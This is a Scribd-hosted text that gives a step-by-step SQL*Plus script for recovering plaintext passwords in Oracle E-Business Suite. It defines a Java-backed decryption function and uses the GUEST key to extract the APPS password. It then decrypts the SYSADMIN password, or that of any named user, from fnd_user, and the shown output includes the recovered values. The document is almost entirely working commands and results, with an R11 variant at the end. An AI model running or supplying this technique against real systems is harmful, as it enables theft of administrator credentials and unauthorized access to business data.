0% found this document useful (0 votes)
218 views

Script To Know Apps Sysadmin Password

This document provides steps to find passwords in Oracle Applications including the APPS password and SYSADMIN password. It involves using SQL queries and Java functions to decrypt encrypted passwords stored in database tables. The key steps are connecting to the database as SYS and Apps user, creating a decryption function, querying encrypted passwords and decrypting them to find the plaintext passwords.

Uploaded by

hole_ku
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
218 views

Script To Know Apps Sysadmin Password

This document provides steps to find passwords in Oracle Applications including the APPS password and SYSADMIN password. It involves using SQL queries and Java functions to decrypt encrypted passwords stored in database tables. The key steps are connecting to the database as SYS and Apps user, creating a decryption function, querying encrypted passwords and decrypting them to find the plaintext passwords.

Uploaded by

hole_ku
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 3

Finding APPS and SYSADMIN password STEP 1 : sqlplus> sqlplus system/system_password sqlplus / as sysdba STEP 2 : (Create Function for

to decrypt the encrypted password) SQL> create FUNCTION apps.decrypt_pin_func(in_chr_key IN VARCHAR2,in_chr_encrypt ed_pin IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java. lang.String,java.lang.String) return java.lang.String'; 2 3 4 5 6 / Function created. STEP 3 : (Query for password) SQL> select ENCRYPTED_FOUNDATION_PASSWORD from apps.fnd_user where USER_NAME='GU EST'; ENCRYPTED_FOUNDATION_PASSWORD -------------------------------------------------------------------------------ZG379C5C883FF56235BE975D075A6FD2E7A749279B7BFCE331530B443E86F41A1966E3E4B1864519 DB88BC07D58666AD837B STEP 4: SQL> SELECT apps.decrypt_pin_func('GUEST/ORACLE','ZG379C5C883FF56235BE975D075A6F D2E7A749279B7BFCE331530B443E86F41A1966E3E4B1864519DB88BC07D58666AD837B') from du al; APPS.DECRYPT_PIN_FUNC('GUEST/ORACLE','ZG379C5C883FF56235BE975D075A6FD2E7A749279B -------------------------------------------------------------------------------APPS STEP 5: (Test apps password) SQL> conn apps/APPS; Connected. Step to Find SYSADMIN PASSWORD : STEP 1: SQL> conn apps/APPS; Connected. STEP 2: SQL> CREATE OR REPLACE PACKAGE get_pwd AS FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2; END get_pwd;

/ 2

Package created. STEP 3: SQL> CREATE OR REPLACE PACKAGE BODY get_pwd SQL> 2 AS 3 FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2) 4 RETURN VARCHAR2 5 AS 6 LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt (java.lang.String,java.lang.String) return java.lang.String'; 7 END get_pwd; 8 / Package body created. STEP 4: SQL> SELECT usr.user_name, get_pwd.decrypt 2 3 ((SELECT (SELECT get_pwd.decrypt 4 (fnd_web_sec.get_guest_username_pwd, 5 usertable.encrypted_foundation_password 6 ) 7 FROM DUAL) AS apps_password 8 FROM fnd_user usertable 9 WHERE usertable.user_name = 10 (SELECT SUBSTR 11 (fnd_web_sec.get_guest_username_pwd, 12 1, 13 INSTR 14 (fnd_web_sec.get_guest_username_p 15 '/' 16 ) 17 - 1 18 ) 19 FROM DUAL)), 20 usr.encrypted_user_password ) PASSWORD FROM fnd_user usr 21 22 23 WHERE usr.user_name = '&USER_NAME'; Enter value for user_name: SYSADMIN old 23: WHERE usr.user_name = '&USER_NAME' new 23: WHERE usr.user_name = 'SYSADMIN' USER_NAME -------------------------------------------------------------------------------PASSWORD -------------------------------------------------------------------------------SYSADMIN Termina1 STEP 5 : (Bellow sql will help you to validate SYSADMIN Password) SQL> select fnd_web_sec.validate_login('SYSADMIN','Termina1') from dual;

FND_WEB_SEC.VALIDATE_LOGIN('SYSADMIN','TERMINA1') -------------------------------------------------------------------------------Y for R11 to know sysadmin password : SELECT Usertable.User_Name, (SELECT get_pwd.Decrypt ( UPPER( (SELECT (SELECT get_pwd.Decrypt ( UPPER( (SELECT UPPER(Fnd_Profile.VAL UE('Guest_User_Pwd')) FROM DUAL)), Usertable.Encrypted_Foundation_Passw ord) FROM DUAL) AS Apps_Password FROM applsys.Fnd_User Usertable WHERE Usertable.User_Name LIKE UPPER( (SELECT SUBSTR ( Fnd_Profile.VALUE ( 'Guest_User_Pwd'), 1, INSTR ( Fnd_Profile.VALUE ( 'Guest_User_Pwd'), '/') - 1) FROM DUAL)))), Usertable.Encrypted_User_Password) FROM DUAL) AS Encrypted_User_Password FROM Applsys.Fnd_User Usertable WHERE Usertable.User_Name LIKE UPPER ('&Username');

You might also like